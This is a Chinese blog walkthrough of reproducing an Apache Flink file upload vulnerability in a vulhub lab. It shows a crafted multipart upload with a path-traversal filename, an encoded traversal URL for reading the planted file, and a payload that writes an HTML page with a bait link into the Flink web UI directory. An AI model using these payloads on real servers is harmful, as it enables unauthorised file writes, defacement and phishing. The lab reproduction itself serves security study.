当前位置:网站首页>Apache Fink 文件上传漏洞复现及利用
Apache Fink 文件上传漏洞复现及利用
2022-08-11 05:32:00 【Tauil】
Apache Fink 文件上传漏洞复现
打开vulhub靶场,输入命令
cd flink/CVE-2020-17519
sudo docker-compose up -d
sudo docker-compose ps
登录靶场网页http://靶场IP:8081,然后在Submit New job处发现有上传点,f12查看网络数据包,然后上传任意文件
随后可以看到网页POST一个数据包,数据包中的文件,右键点击重发,然后可以看到数据包中内容
boundary是分隔符,不用关注,查看到其fliname应该就是文件的名称,其创建文件的路径猜测是其默认文件路径的 xxx/xxx/jars/upload/test.jar ,如果他没有在这个fliname处进行检查或者强制规定的路径,而是使用类似 touch xxx/xxx/jars/upload/test.jar
这样的直接创建文件的命令,我们可以通过修改fliname,令其命令达到类似 touch xxx/xxx/jars/upload/../../../../../../../tmp/test.jar
的效果,所以我们修改消息体内容为
Content-Type: application/octet-stream 是让文件默认为字节流,浏览器处理这种类型的文件默认是下载,我们要显示他,所以要把它删掉
-----------------------------160778796920884667481441541505
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/test"
123456789
-----------------------------160778796920884667481441541505--
其它不修改,然后点击发送,因为该版本的 Apache Flink 中存在有一个目录穿越漏洞,详细内容在https://blog.csdn.net/Tauil/article/details/125930144,我们可以使用该漏洞查看我们创建的内容
输入URL:
http://靶机IP:8081/jobmanager/logs/…%252f…%252f…%252f…%252f…%252f…%252ftmp%252ftest
Apache Fink 文件上传漏洞利用
这时我们可以在Job Manager中发现该网页文件地址
网页图形界面一般为 xxx+xxx+ui 现在我们知道了他的命名格式是 flink-web-xxx ,所以猜测该网页文件地址应该是在 tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui
修改数据包为
-----------------------------160778796920884667481441541505
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../../../tmp/flink-web-2dd3149d-f348-4e1e-88ed-4ed72f05728b/flink-web-ui/win.html"
<h1>Congratulations</h1>
<a href="https://www.baidu.com">Click here to get one hundred dollers</a>
-----------------------------160778796920884667481441541505--
发送后输入URL:http://靶机IP:8081/win.html 即可访问我们写入的网页
边栏推荐
猜你喜欢
将一个excel文件中多个sheet页“拆分“成多个“独立“excel文件
中小微企业需要使用SSL证书吗?
OpenGL 简化点光源与平行光的对比实验
【LeetCode-162】寻找峰值
【LeetCode-69】x的平方根
【LeetCode-147】对链表进行插入排序
8-byte standard request parsing during USB enumeration
C# 基础之字典——Dictionary(一)
Scene-driven feature calculation method OpenMLDB, efficient implementation of "calculate first use"
Redis学习笔记【三】
随机推荐
微信小程序_开发工具的安装
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(3)
【转】Unity 内置渲染管线、SRP、URP、HDRP区别
8-byte standard request parsing during USB enumeration
欧拉角、四元数与旋转
VirtualAPK初探
2022年全国职业技能大赛网络安全竞赛试题B模块自己解析思路(9)
手把手导入企业项目(快速完成本地项目配置)
自己动手写RISC-V的C编译器-02语法描述方法和递归下降解析
【LeetCode-455】方法饼干
【剑指offer系列】面试题日记(前期题)
Lua 快速入门(一)——基础语法
Unity 使用双缓冲实现一个好用的计时器
IndexError: index 9 is out of bounds for axis 0 with size 9;数组下标溢出问题
gerrit configure SSH Key and account, email information
C语言-7月22日- NULL和nullptr的深入了解以及VScode对nullptr语句报错问题的解决
中小微企业需要使用SSL证书吗?
CLR via C# 第五章 基元类型、引用类型和值类型
BaseActvity的抽取
微信小程序云开发项目wx-store代码详解